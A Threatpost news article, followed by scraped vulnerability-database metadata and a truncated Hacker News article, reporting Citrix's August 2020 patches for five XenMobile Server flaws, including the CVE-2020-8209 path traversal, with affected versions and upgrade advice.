Citrix is urging users to immediately patch a pair of critical flaws in its flagship mobile device management software. If exploited, the flaws could allow remote, unauthorized attackers to access domain account credentials – ultimately opening the door to a treasure trove of corporate data, including email and web applications.
The flaws exist in Citrix Endpoint Management (CEM), often referred to as XenMobile Server, which enables businesses to manage employees’ mobile devices and mobile applications by controlling device security settings and updates. Overall, five vulnerabilities were discovered – two of which (CVE-2020-8208 and CVE-2020-8209) are rated critical in severity.
[](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)
Register today!
“We recommend these upgrades be made immediately,” Fermin J. Serna, Chief Information Security Officer at Citrix, [said in a Tuesday post](<https://www.citrix.com/blogs/2020/08/11/citrix-provides-security-update-on-citrix-endpoint-management/>). “While there are no known exploits as of this writing, we do anticipate malicious actors will move quickly to exploit.”
One of the two critical flaws discovered, CVE-2020-8209, is a path traversal flaw that stems from insufficient input validation. Path traversal bugs stem from web security glitches that enable bad actors to read arbitrary files on the server that is running an application.
That’s the case here, as Positive Technologies expert Andrey Medov, who discovered the flaw, [said that](<https://www.ptsecurity.com/ww-en/about/news/citrix-fixes-xenmobile-vulnerability-found-by-positive-technologies/>) attackers can exploit the flaw by convincing users to follow a specially crafted URL. They would then be able to access arbitrary files outside the web server root directory, including configuration files and encryption keys for sensitive data.
“Exploitation of this vulnerability allows hackers to obtain information that can be useful for breaching the perimeter, as the configuration file often stores domain account credentials for LDAP [Lightweight Directory Access Protocol; an industry standard protocol used for accessing distributed directory information services over an IP network] access,” said Medov in a statement. “With access to the domain account, a remote attacker can use the obtained data for authentication on other external company resources, including corporate mail, VPN, and web applications. Worse still, an attacker who has managed to read the configuration file can access sensitive data, such as database password (local PostgreSQL by default and a remote SQL Server database in some cases).”
Specifically impacted at a critical level by the dual vulnerabilities is: XenMobile Server 10.12 before RP2, XenMobile Server 10.11 before RP4, XenMobile Server 10.10 before RP6 and XenMobile Server before 10.9 RP5.
The remaining three flaws (CVE-2020-8210, CVE-2020-8211 and CVE-2020-8212) are rated medium- and low-severity. Further details on these vulnerabilities, as well as on the second critical flaw (CVE-2020-8208) have not been published; Threatpost has reached out to Citrix for comment.
These lesser severity flaws affect CEM versions: XenMobile Server 10.12 before RP3, XenMobile Server 10.11 before RP6, XenMobile Server 10.10 before RP6 and XenMobile Server before 10.9 RP5.
“The latest rolling patches that need to be applied for versions 10.9, 10.10, 10.11, and 10.12 are available immediately,” said Serna. “Any versions prior to 10.9.x must be upgraded to a supported version with the latest rolling patch. We recommend that you upgrade to 10.12 RP3, the latest supported version.”
Citrix joins in on a slew of companies issuing regularly scheduled security updates this week, including [Intel](<https://threatpost.com/critical-intel-flaw-motherboards-server-compute-modules/158270/>), which stomped out a critical-severity vulnerability affecting several of its motherboards, server systems and compute modules; [Microsoft](<https://threatpost.com/0-days-active-attack-bugs-patched-microsoft/158280/>), which fixed 120 bugs including two under active attack; and [Adobe](<https://threatpost.com/critical-adobe-acrobat-reader-bugs-rce/158261/>), which patched 11 critical security holes in Acrobat and Reader.
Earlier in the year, [Citrix in January grappled with](<https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/>) a critical vulnerability ([CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)) in the Citrix Application Delivery Controller (ADC) and Citrix Gateway products, as well as [multiple vulnerabilities in these same products](<https://threatpost.com/citrix-bugs-allow-unauthenticated-code-injection-data-theft/157214/>) in June allowing code injection, information disclosure and denial of service.
_**Complimentary Threatpost Webinar**__: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar “**[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**” brings top cloud-security experts from Microsoft and __Fortanix together to explore how **Confidential Computing** is a game changer for securing dynamic cloud data and preventing IP exposure. Join us **[Wednesday Aug. 12 at 2pm ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) **for this** FREE **live webinar with Dr. David Thaler, software architect, Microsoft and Dr Richard Searle, security architect, Fortanix – both with the Confidential Computing Consortium. **[Register Now](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**._
Write a comment
**Share this article:**
* [Vulnerabilities](<https://threatpost.com/category/vulnerabilities/>)
{"id": "THREATPOST:163B67EFAB31CDAD34D25B9194438851", "vendorId": null, "type": "threatpost", "bulletinFamily": "info", "title": "Citrix Warns of Critical Flaws in XenMobile Server", "description": "Citrix is urging users to immediately patch a pair of critical flaws in its flagship mobile device management software. If exploited, the flaws could allow remote, unauthorized attackers to access domain account credentials \u2013 ultimately opening the door to a treasure trove of corporate data, including email and web applications.\n\nThe flaws exist in Citrix Endpoint Management (CEM), often referred to as XenMobile Server, which enables businesses to manage employees\u2019 mobile devices and mobile applications by controlling device security settings and updates. Overall, five vulnerabilities were discovered \u2013 two of which (CVE-2020-8208 and CVE-2020-8209) are rated critical in severity.\n\n[](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)\n\nRegister today!\n\n\u201cWe recommend these upgrades be made immediately,\u201d Fermin J. Serna, Chief Information Security Officer at Citrix, [said in a Tuesday post](<https://www.citrix.com/blogs/2020/08/11/citrix-provides-security-update-on-citrix-endpoint-management/>). \u201cWhile there are no known exploits as of this writing, we do anticipate malicious actors will move quickly to exploit.\u201d\n\nOne of the two critical flaws discovered, CVE-2020-8209, is a path traversal flaw that stems from insufficient input validation. Path traversal bugs stem from web security glitches that enable bad actors to read arbitrary files on the server that is running an application.\n\nThat\u2019s the case here, as Positive Technologies expert Andrey Medov, who discovered the flaw, [said that](<https://www.ptsecurity.com/ww-en/about/news/citrix-fixes-xenmobile-vulnerability-found-by-positive-technologies/>) attackers can exploit the flaw by convincing users to follow a specially crafted URL. They would then be able to access arbitrary files outside the web server root directory, including configuration files and encryption keys for sensitive data.\n\n\u201cExploitation of this vulnerability allows hackers to obtain information that can be useful for breaching the perimeter, as the configuration file often stores domain account credentials for LDAP [Lightweight Directory Access Protocol; an industry standard protocol used for accessing distributed directory information services over an IP network] access,\u201d said Medov in a statement. \u201cWith access to the domain account, a remote attacker can use the obtained data for authentication on other external company resources, including corporate mail, VPN, and web applications. Worse still, an attacker who has managed to read the configuration file can access sensitive data, such as database password (local PostgreSQL by default and a remote SQL Server database in some cases).\u201d\n\nSpecifically impacted at a critical level by the dual vulnerabilities is: XenMobile Server 10.12 before RP2, XenMobile Server 10.11 before RP4, XenMobile Server 10.10 before RP6 and XenMobile Server before 10.9 RP5.\n\nThe remaining three flaws (CVE-2020-8210, CVE-2020-8211 and CVE-2020-8212) are rated medium- and low-severity. Further details on these vulnerabilities, as well as on the second critical flaw (CVE-2020-8208) have not been published; Threatpost has reached out to Citrix for comment.\n\nThese lesser severity flaws affect CEM versions: XenMobile Server 10.12 before RP3, XenMobile Server 10.11 before RP6, XenMobile Server 10.10 before RP6 and XenMobile Server before 10.9 RP5.\n\n\u201cThe latest rolling patches that need to be applied for versions 10.9, 10.10, 10.11, and 10.12 are available immediately,\u201d said Serna. \u201cAny versions prior to 10.9.x must be upgraded to a supported version with the latest rolling patch. We recommend that you upgrade to 10.12 RP3, the latest supported version.\u201d\n\nCitrix joins in on a slew of companies issuing regularly scheduled security updates this week, including [Intel](<https://threatpost.com/critical-intel-flaw-motherboards-server-compute-modules/158270/>), which stomped out a critical-severity vulnerability affecting several of its motherboards, server systems and compute modules; [Microsoft](<https://threatpost.com/0-days-active-attack-bugs-patched-microsoft/158280/>), which fixed 120 bugs including two under active attack; and [Adobe](<https://threatpost.com/critical-adobe-acrobat-reader-bugs-rce/158261/>), which patched 11 critical security holes in Acrobat and Reader.\n\nEarlier in the year, [Citrix in January grappled with](<https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/>) a critical vulnerability ([CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)) in the Citrix Application Delivery Controller (ADC) and Citrix Gateway products, as well as [multiple vulnerabilities in these same products](<https://threatpost.com/citrix-bugs-allow-unauthenticated-code-injection-data-theft/157214/>) in June allowing code injection, information disclosure and denial of service.\n\n_**Complimentary Threatpost Webinar**__: Want to learn more about Confidential Computing and how it can supercharge your cloud security? This webinar \u201c**[Cloud Security Audit: A Confidential Computing Roundtable](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**\u201d brings top cloud-security experts from Microsoft and __Fortanix together to explore how **Confidential Computing** is a game changer for securing dynamic cloud data and preventing IP exposure. Join us **[Wednesday Aug. 12 at 2pm ET](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>) **for this** FREE **live webinar with Dr. David Thaler, software architect, Microsoft and Dr Richard Searle, security architect, Fortanix \u2013 both with the Confidential Computing Consortium. **[Register Now](<https://attendee.gotowebinar.com/register/3844090971254297614?source=art>)**._\n\nWrite a comment\n\n**Share this article:**\n\n * [Vulnerabilities](<https://threatpost.com/category/vulnerabilities/>)\n", "published": "2020-08-12T15:17:39", "modified": "2020-08-12T15:17:39", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}, "cvss2": {}, "cvss3": {}, "href": "https://threatpost.com/citrix-warns-of-critical-flaws-in-xenmobile-server/158293/", "reporter": "Lindsey O'Donnell", "references": ["https://attendee.gotowebinar.com/register/3844090971254297614?source=art", "https://www.citrix.com/blogs/2020/08/11/citrix-provides-security-update-on-citrix-endpoint-management/", "https://www.ptsecurity.com/ww-en/about/news/citrix-fixes-xenmobile-vulnerability-found-by-positive-technologies/", "https://threatpost.com/critical-intel-flaw-motherboards-server-compute-modules/158270/", "https://threatpost.com/0-days-active-attack-bugs-patched-microsoft/158280/", "https://threatpost.com/critical-adobe-acrobat-reader-bugs-rce/158261/", "https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/", "https://nvd.nist.gov/vuln/detail/CVE-2019-19781", "https://threatpost.com/citrix-bugs-allow-unauthenticated-code-injection-data-theft/157214/", "https://attendee.gotowebinar.com/register/3844090971254297614?source=art", "https://attendee.gotowebinar.com/register/3844090971254297614?source=art", "https://attendee.gotowebinar.com/register/3844090971254297614?source=art", "#discussion", "https://threatpost.com/category/vulnerabilities/"], "cvelist": ["CVE-2019-19781", "CVE-2020-8208", "CVE-2020-8209", "CVE-2020-8210", "CVE-2020-8211", "CVE-2020-8212"], "immutableFields": [], "lastseen": "2020-10-16T22:18:30", "viewCount": 1413, "enchantments": {"dependencies": {"references": [{"type": "attackerkb", "idList": ["AKB:75221F03-CFA1-478E-9777-568E523E3272", "AKB:AFC76977-D355-470D-A7F6-FEF7A8352B65"]}, {"type": "avleonov", "idList": ["AVLEONOV:B0F649A99B171AC3032AF71B1DCCFE34", "AVLEONOV:FEA9E4494A95F04BD598867C8CA5D246"]}, {"type": "canvas", "idList": ["NETSCALER_TRAVERSAL_RCE"]}, {"type": "cert", "idList": ["VU:619785"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2019-1653", "CPAI-2020-1219"]}, {"type": "cisa", "idList": ["CISA:134C272F26FB005321448C648224EB02", "CISA:661993843C9F9A838ADA8B8B8B9412D1", "CISA:8AA4B67E8B2150628DAEB8C3A98C4BEC", "CISA:E46D6B22DC3B3F8B062C07BD8EA4CB7C"]}, {"type": "cisa_kev", "idList": ["CISA-KEV-CVE-2019-19781"]}, {"type": "citrix", "idList": ["CTX267027", "CTX277457"]}, {"type": "cve", "idList": ["CVE-2019-19781", "CVE-2020-8208", "CVE-2020-8209", "CVE-2020-8210", "CVE-2020-8211", "CVE-2020-8212"]}, {"type": "dsquare", "idList": ["E-721"]}, {"type": "exploitdb", "idList": ["EDB-ID:47901", "EDB-ID:47902", "EDB-ID:47913", "EDB-ID:47930"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:04BD77915CB7D5152AF289164D21448A", "EXPLOITPACK:213FB88DED3CCAB77D32289A335E386D", "EXPLOITPACK:959CB519C011AA90D2BEE4ED33D8FEBF", "EXPLOITPACK:D0A0C692882848C218FDF1B93258E171"]}, {"type": "fireeye", "idList": ["FIREEYE:173497473E4F8289490BBFFF8E828EC9", "FIREEYE:27339B4646A838356BA1378430516613", "FIREEYE:2FBC6EAA2BC98E48BDE41A39FB730AA1", "FIREEYE:BFB36D22F20651C632D25AA20588E904", "FIREEYE:E126D2B5A643EE6CD5B128CAC8C217CF"]}, {"type": "freebsd", "idList": ["2BAB995F-36D4-11EA-9DAD-002590ACAE31"]}, {"type": "githubexploit", "idList": ["0829A67E-3C24-5D54-B681-A7F72848F524", "09DFDAA9-9EF6-513F-B464-D707B45D598A", "0A8A2E34-0577-5F13-BD78-B9E96A8AF008", "18DD4D81-26F7-5D44-BAC2-BC6B7D65E198", "1AAD4FCC-D02C-52F0-ADA8-410D1B99297C", "1AB95B23-4916-5338-9CB0-28672888287F", "1F74FB7B-4F6B-51C6-9117-E7A9750D027D", "27F3F58D-9FEF-5F4F-91FB-0D93B481FBA4", "2849E613-8689-58E7-9C55-A0616B66C91A", "2C33B9C6-636A-5907-8CD2-119F9B69B89B", "306622D1-6E5F-53BE-AE3D-A17E5DAC3F50", "37EBD8DB-50D9-5D1E-B6AB-31330A7C47C7", "39093366-D071-5898-A67D-A99B956B6E73", "3AEA79E9-5CA7-5210-9CAC-5E34F8E0C418", "3BFD8B83-5790-508D-8B9C-58C171517BD0", "4141B394-8FC2-5D74-B0A2-3A1F5DF6905E", "45A4CAC6-39DD-5F6D-B0C4-9688EF931746", "46FA259E-5429-580C-B1D5-D1F09EB90023", "498E3F5C-3DFB-5A3F-BFE8-BEB7339F0C2E", "4AD61F33-6EE2-52DF-83DC-91406BD73B8E", "5DD13827-3FCE-5166-806D-088441D41514", "607F0EF9-B234-570A-9E89-A73FBE248E6F", "62891769-2887-58A7-A603-BCD5E6A6D6F9", "62ED9EA6-B108-5F5A-B611-70CC6C705459", "6787DC40-24C2-5626-B213-399038EFB0E9", "721C46F4-C390-5D23-B358-3D4B22959428", "9304254B-557D-5DFE-AF8D-E21D0DF1FFDF", "988A0BAB-669A-57AE-B432-564B2E378252", "9A29EBA1-E786-5DD5-B661-E0080DEEB613", "A4F047D6-CD61-5E9D-86EF-FB824CE2625F", "ACE1EC69-37E6-58A5-8C0B-96212CDB38DF", "BEF7E47B-985F-56DE-AD21-DFEF507AAFE1", "C3AF7933-1DDE-58AB-BF32-75FEDB10C925", "C790841B-11B6-5497-B6DB-EF8A56DD8A0C", "CA1AFE75-C90A-5C21-92B0-FC1C0282B767", "CA7DF0EF-7032-54E3-B16E-D0845CE73845", "CF9EC818-A904-586C-9C19-3B4F04770FBD", "E3BF7E8E-58EA-5BC5-A6F4-401912FFB4BE", "E3D6A7AD-AC9C-55EB-A993-B78D05403B54", "EAFD9DBC-1E36-570B-9F48-8C355BBFD8E6", "EE4C8DE4-3366-58B0-9494-7FD5B6F9D0EF", "F27B127B-57F0-5352-B92F-B6F921378CBB", "F3D87CA2-44D8-583C-AF7F-85AA53FB6CAD"]}, {"type": "ics", "idList": ["AA20-020A", "AA20-031A", "AA20-099A", "AA20-126A", "AA20-133A", "AA20-258A", "AA20-259A", "AA20-275A", "AA20-283A", "AA20-296A", "AA21-116A", "AA21-200B", "AA21-209A", "AA22-011A", "AA22-117A", "AA22-158A", "AA22-279A"]}, {"type": "impervablog", "idList": ["IMPERVABLOG:4124E2CCDA610C6D222319C47C8D3250", "IMPERVABLOG:BB987E93C1A58280077D98CF497FD72D"]}, {"type": "kitploit", "idList": ["KITPLOIT:4421457840699592233", "KITPLOIT:4707889613618662864"]}, {"type": "krebs", "idList": ["KREBS:62E2D32C0ABD1C4B8EA91C60B425255B"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:80B21E934B1C43C7071F039FE9512208", "MALWAREBYTES:BAB94968DD1EC37DA6F977226977DAF5", "MALWAREBYTES:D081BF7F95E3F31C6DB8CEF9AD86BD0D", "MALWAREBYTES:D7EFF87E8AB1DBEC63A0DBE7F8DA90B8"]}, {"type": "metasploit", "idList": ["MSF:AUXILIARY-SCANNER-HTTP-CITRIX_DIR_TRAVERSAL-", "MSF:EXPLOIT-FREEBSD-HTTP-CITRIX_DIR_TRAVERSAL_RCE-"]}, {"type": "mmpc", "idList": ["MMPC:27EEFD67E5E7E712750B1472E15C5A0B"]}, {"type": "mssecure", "idList": ["MSSECURE:27EEFD67E5E7E712750B1472E15C5A0B", "MSSECURE:E3C8B97294453D962741782EC959E79C"]}, {"type": "nessus", "idList": ["701262.PRM", "CITRIX_NETSCALER_CTX267027.NASL", "CITRIX_SSL_VPN_CVE-2019-19781.NBIN", "FREEBSD_PKG_2BAB995F36D411EA9DAD002590ACAE31.NASL"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:155904", "PACKETSTORM:155905", "PACKETSTORM:155930", "PACKETSTORM:155947", "PACKETSTORM:155972"]}, {"type": "ptsecurity", "idList": ["PT-2020-01"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:01C65083E501A6BAFB08FCDA1D561012", "QUALYSBLOG:282A52EA9B1F4C4F3F084197709217B0", "QUALYSBLOG:82E24C28622F0C96140EDD88C6BD8F54", "QUALYSBLOG:8DC9B53E981BBE193F6EC369D7FA85F8", "QUALYSBLOG:AF3D80BA12D4BBA1EE3BE23A5E730B6C", "QUALYSBLOG:D38E3F9D341C222CBFEA0B99AD50C439", "QUALYSBLOG:DE1FEC2B9B661D42DAA0BA398DBFD24E"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:6A1F743B64899419F505BFE243BD179F", "RAPID7BLOG:C90DF07E98E436DFBFCC5BA576D21019"]}, {"type": "securelist", "idList": ["SECURELIST:35644FF079836082B5B728F8E95F0EDD"]}, {"type": "symantec", "idList": ["SMNTC-111238"]}, {"type": "talosblog", "idList": ["TALOSBLOG:7192A351B37E9A67C1A5DB760A14DA7E", "TALOSBLOG:C73CDA82B845335B5DCC8A94FB5662D8", "TALOSBLOG:D7662F18F14544FB63C58CB527CC3A4A"]}, {"type": "thn", "idList": ["THN:0E6CD47141AAF54903BD6C1F9BD96F44", "THN:166AAAF7F04EF01C9E049500387BD1FD", "THN:1ED1BB1B7B192353E154FB0B02F314F4", "THN:3E9680853FA3A677106A8ED8B7AACBE6", "THN:461B7AEC7D12A32B4ED085F0EA213502", "THN:6ED39786EE29904C7E93F7A0E35A39CB", "THN:87AE96960D76D6C84D9CF86C2DDB837C", "THN:91A2A296EF8B6FD5CD8B904690E810E8", "THN:9994A9D5CFB76851BB74C8AD52F3DBBE", "THN:99BD0D6A04B18BBEE57AE05E0F351456", "THN:B95DC27A89565323F0F8E6350D24D801", "THN:DABC62CDC9B66962217D9A8ABA9DF060", "THN:EB3F9784BB2A52721953F128D1B3EAEC"]}, {"type": "threatpost", "idList": ["THREATPOST:1FB73160B6AAB2B0406816BB6A61E4CB", "THREATPOST:2243706D17F2A1E930A00F49D8E30720", "THREATPOST:2D47D18D36043D4DFBFAD7C64345410E", "THREATPOST:2E607CF584AE6639AC690F7F0CE8C648", "THREATPOST:48D622E76FCC26F28B32364668BB1930", "THREATPOST:558A7B1DE564A8E368D33E86E291AB77", "THREATPOST:575F655420B93C2305DEE73F769E7E0B", "THREATPOST:63D2355B6EF0B975846E034876BC66DF", "THREATPOST:71C45E867DCD99278A38088B59938B48", "THREATPOST:816C2C5C3414F66AD1638248B7321FA1", "THREATPOST:8D6D4C10987CBF3434080EFF240D2E74", "THREATPOST:93F1D3DD89A41A41475737BF84F8146C", "THREATPOST:9688E067E5F287042D4EBC46107C66AF", "THREATPOST:99610F4016AECF953EEE643779490F30", "THREATPOST:AB0F3CD65F9FE00689C1695CB89ADC3F", "THREATPOST:AB2F6BF7F6EC16383E737E091BA9385B", "THREATPOST:AD4EF56E5440159F6E37D8B403C253D7", "THREATPOST:AD8A075328874910E8DCBC149A6CA284", "THREATPOST:B53DDA5AD9C6530F631391E064A0D4FA", "THREATPOST:B7F31FCDC8936516C077D39FEF9235AA", "THREATPOST:B956AABD7A9591A8F25851E15000B618", "THREATPOST:F8F0749C57FDD3CABE842BDFEAD33452", "THREATPOST:FADCF664C06E3747C40C200AE681FDF8"]}, {"type": "zdt", "idList": ["1337DAY-ID-33794", "1337DAY-ID-33806", "1337DAY-ID-33824"]}]}, "score": {"value": 1.2, "vector": "NONE"}, "backreferences": {"references": [{"type": "attackerkb", "idList": ["AKB:75221F03-CFA1-478E-9777-568E523E3272", "AKB:AFC76977-D355-470D-A7F6-FEF7A8352B65"]}, {"type": "avleonov", "idList": ["AVLEONOV:B0F649A99B171AC3032AF71B1DCCFE34"]}, {"type": "canvas", "idList": ["NETSCALER_TRAVERSAL_RCE"]}, {"type": "cert", "idList": ["VU:619785"]}, {"type": "checkpoint_advisories", "idList": ["CPAI-2019-1653", "CPAI-2020-1219"]}, {"type": "cisa", "idList": ["CISA:134C272F26FB005321448C648224EB02", "CISA:661993843C9F9A838ADA8B8B8B9412D1", "CISA:8AA4B67E8B2150628DAEB8C3A98C4BEC"]}, {"type": "citrix", "idList": ["CTX267027", "CTX277457"]}, {"type": "cve", "idList": ["CVE-2019-19781"]}, {"type": "dsquare", "idList": ["E-721"]}, {"type": "exploitdb", "idList": ["EDB-ID:47901", "EDB-ID:47902", "EDB-ID:47913", "EDB-ID:47930"]}, {"type": "exploitpack", "idList": ["EXPLOITPACK:213FB88DED3CCAB77D32289A335E386D", "EXPLOITPACK:959CB519C011AA90D2BEE4ED33D8FEBF"]}, {"type": "fireeye", "idList": ["FIREEYE:173497473E4F8289490BBFFF8E828EC9", "FIREEYE:27339B4646A838356BA1378430516613", "FIREEYE:2FBC6EAA2BC98E48BDE41A39FB730AA1", "FIREEYE:BFB36D22F20651C632D25AA20588E904"]}, {"type": "freebsd", "idList": ["2BAB995F-36D4-11EA-9DAD-002590ACAE31"]}, {"type": "githubexploit", "idList": ["0829A67E-3C24-5D54-B681-A7F72848F524", "09DFDAA9-9EF6-513F-B464-D707B45D598A", "0A8A2E34-0577-5F13-BD78-B9E96A8AF008", "18DD4D81-26F7-5D44-BAC2-BC6B7D65E198", "1AAD4FCC-D02C-52F0-ADA8-410D1B99297C", "1AB95B23-4916-5338-9CB0-28672888287F", "1F74FB7B-4F6B-51C6-9117-E7A9750D027D", "27F3F58D-9FEF-5F4F-91FB-0D93B481FBA4", "2849E613-8689-58E7-9C55-A0616B66C91A", "306622D1-6E5F-53BE-AE3D-A17E5DAC3F50", "37EBD8DB-50D9-5D1E-B6AB-31330A7C47C7", "39093366-D071-5898-A67D-A99B956B6E73", "3AEA79E9-5CA7-5210-9CAC-5E34F8E0C418", "3BFD8B83-5790-508D-8B9C-58C171517BD0", "4141B394-8FC2-5D74-B0A2-3A1F5DF6905E", "45A4CAC6-39DD-5F6D-B0C4-9688EF931746", "46FA259E-5429-580C-B1D5-D1F09EB90023", "498E3F5C-3DFB-5A3F-BFE8-BEB7339F0C2E", "4AD61F33-6EE2-52DF-83DC-91406BD73B8E", "5DD13827-3FCE-5166-806D-088441D41514", "607F0EF9-B234-570A-9E89-A73FBE248E6F", "62891769-2887-58A7-A603-BCD5E6A6D6F9", "62ED9EA6-B108-5F5A-B611-70CC6C705459", "6787DC40-24C2-5626-B213-399038EFB0E9", "721C46F4-C390-5D23-B358-3D4B22959428", "9304254B-557D-5DFE-AF8D-E21D0DF1FFDF", "988A0BAB-669A-57AE-B432-564B2E378252", "9A29EBA1-E786-5DD5-B661-E0080DEEB613", "A4F047D6-CD61-5E9D-86EF-FB824CE2625F", "ACE1EC69-37E6-58A5-8C0B-96212CDB38DF", "BEF7E47B-985F-56DE-AD21-DFEF507AAFE1", "C3AF7933-1DDE-58AB-BF32-75FEDB10C925", "C790841B-11B6-5497-B6DB-EF8A56DD8A0C", "CA1AFE75-C90A-5C21-92B0-FC1C0282B767", "CA7DF0EF-7032-54E3-B16E-D0845CE73845", "CF9EC818-A904-586C-9C19-3B4F04770FBD", "E3BF7E8E-58EA-5BC5-A6F4-401912FFB4BE", "E3D6A7AD-AC9C-55EB-A993-B78D05403B54", "EAFD9DBC-1E36-570B-9F48-8C355BBFD8E6", "EE4C8DE4-3366-58B0-9494-7FD5B6F9D0EF", "F27B127B-57F0-5352-B92F-B6F921378CBB", "F3D87CA2-44D8-583C-AF7F-85AA53FB6CAD"]}, {"type": "impervablog", "idList": ["IMPERVABLOG:4124E2CCDA610C6D222319C47C8D3250"]}, {"type": "kitploit", "idList": ["KITPLOIT:4421457840699592233"]}, {"type": "krebs", "idList": ["KREBS:62E2D32C0ABD1C4B8EA91C60B425255B"]}, {"type": "malwarebytes", "idList": ["MALWAREBYTES:D7EFF87E8AB1DBEC63A0DBE7F8DA90B8"]}, {"type": "metasploit", "idList": ["MSF:AUXILIARY/SCANNER/HTTP/CITRIX_DIR_TRAVERSAL", "MSF:EXPLOIT/LINUX/HTTP/CITRIX_DIR_TRAVERSAL_RCE"]}, {"type": "mssecure", "idList": ["MSSECURE:E3C8B97294453D962741782EC959E79C"]}, {"type": "nessus", "idList": ["CITRIX_NETSCALER_CTX267027.NASL", "FREEBSD_PKG_2BAB995F36D411EA9DAD002590ACAE31.NASL"]}, {"type": "packetstorm", "idList": ["PACKETSTORM:155904", "PACKETSTORM:155905", "PACKETSTORM:155930", "PACKETSTORM:155947", "PACKETSTORM:155972"]}, {"type": "ptsecurity", "idList": ["PT-2020-01"]}, {"type": "qualysblog", "idList": ["QUALYSBLOG:82E24C28622F0C96140EDD88C6BD8F54"]}, {"type": "rapid7blog", "idList": ["RAPID7BLOG:C90DF07E98E436DFBFCC5BA576D21019"]}, {"type": "securelist", "idList": ["SECURELIST:35644FF079836082B5B728F8E95F0EDD"]}, {"type": "symantec", "idList": ["SMNTC-111238"]}, {"type": "talosblog", "idList": ["TALOSBLOG:C73CDA82B845335B5DCC8A94FB5662D8", "TALOSBLOG:D7662F18F14544FB63C58CB527CC3A4A"]}, {"type": "thn", "idList": ["THN:166AAAF7F04EF01C9E049500387BD1FD", "THN:6ED39786EE29904C7E93F7A0E35A39CB", "THN:9994A9D5CFB76851BB74C8AD52F3DBBE"]}, {"type": "threatpost", "idList": ["THREATPOST:2D47D18D36043D4DFBFAD7C64345410E", "THREATPOST:48D622E76FCC26F28B32364668BB1930", "THREATPOST:63D2355B6EF0B975846E034876BC66DF", "THREATPOST:93F1D3DD89A41A41475737BF84F8146C", "THREATPOST:9688E067E5F287042D4EBC46107C66AF", "THREATPOST:99610F4016AECF953EEE643779490F30", "THREATPOST:AB2F6BF7F6EC16383E737E091BA9385B", "THREATPOST:AD4EF56E5440159F6E37D8B403C253D7", "THREATPOST:B956AABD7A9591A8F25851E15000B618", "THREATPOST:FADCF664C06E3747C40C200AE681FDF8"]}, {"type": "zdt", "idList": ["1337DAY-ID-33794", "1337DAY-ID-33806", "1337DAY-ID-33824"]}]}, "exploitation": null, "epss": [{"cve": "CVE-2019-19781", "epss": "0.975420000", "percentile": "0.999870000", "modified": "2023-03-15"}, {"cve": "CVE-2020-8208", "epss": "0.000720000", "percentile": "0.293150000", "modified": "2023-03-16"}, {"cve": "CVE-2020-8209", "epss": "0.973550000", "percentile": "0.997890000", "modified": "2023-03-16"}, {"cve": "CVE-2020-8210", "epss": "0.001500000", "percentile": "0.494190000", "modified": "2023-03-16"}, {"cve": "CVE-2020-8211", "epss": "0.001260000", "percentile": "0.455600000", "modified": "2023-03-16"}, {"cve": "CVE-2020-8212", "epss": "0.002380000", "percentile": "0.601060000", "modified": "2023-03-16"}], "vulnersScore": 1.2}, "_state": {"dependencies": 1678918916, "score": 1678920461, "epss": 1679000794}, "_internal": {"score_hash": "1409b4bf84232ef9aa7647e7c36f75b5"}}
{"thn": [{"lastseen": "2022-05-09T12:40:12", "description": "[](<https://thehackernews.com/images/-0iNxotK4DFw/XzL8bMfWBUI/AAAAAAAA3LM/yAzpeopyAYITOFFUIeQfMfA6942Z8L5bgCLcBGAsYHQ/s728-e100/citrix-software.jpg>)\n\nCitrix today released patches for multiple new security vulnerabilities affecting its **Citrix Endpoint Management (CEM)**, also known as XenMobile, a product made for enterprises to help companies manage and secure their employees' mobile devices remotely. \n \nCitrix Endpoint Management offers businesses mobile device management (MDM) and mobile application management (MAM) capabilities. It allows companies to control which apps their employees can install while ensuring updates and security settings are applied to keep business information protected. \n \nAccording to Citrix, there are a total of [5 vulnerabilities](<https://support.citrix.com/article/CTX277457>) that affect on-premise instances of XenMobile servers used in enterprises to manage all apps, devices, or platforms from one central location. \n \n\"Remediations have already been applied to cloud versions, but hybrid rights users need to apply the upgrades to any on-premises instance,\" the [company sai](<https://www.citrix.com/blogs/2020/08/11/citrix-provides-security-update-on-citrix-endpoint-management/>)d in a post today. \n \nIf left unpatched and exploited successfully, the newly identified security vulnerabilities could collectively allow unauthenticated attackers to gain administrative privileges on affected XenMobile Servers. \n \n\n\n> \"We recommend these upgrades be made immediately. While there are no known exploits as of this writing, we do anticipate malicious actors will move quickly to exploit,\" the company warned.\n\n \nThe two vulnerabilities\u2014tracked as CVE-2020-8208 and CVE-2020-8209 and rated as critical\u2014impact following XenMobile Server versions: \n \n\n\n * XenMobile Server 10.12 before RP2 \n * XenMobile Server 10.11 before RP4 \n * XenMobile Server 10.10 before RP6 \n * XenMobile Server before 10.9 RP5\n \nWhereas, the other three security vulnerabilities\u2014tracked as CVE-2020-8210, CVE-2020-8211, and CVE-2020-8212 and rated medium/low in severity\u2014resides in the following versions: \n \n\n\n * XenMobile Server 10.12 before RP3 \n * XenMobile Server 10.11 before RP6 \n * XenMobile Server 10.10 before RP6 \n * XenMobile Server before 10.9 RP5\n \nOne of the critical flaws ([CVE-2020-8209](<https://www.ptsecurity.com/ww-en/about/news/citrix-fixes-xenmobile-vulnerability-found-by-positive-technologies/>)), discovered by Andrey Medov of Positive Technologies, could allow an unauthenticated attacker to read arbitrary files outside the web-server root directory, including configuration files and encryption 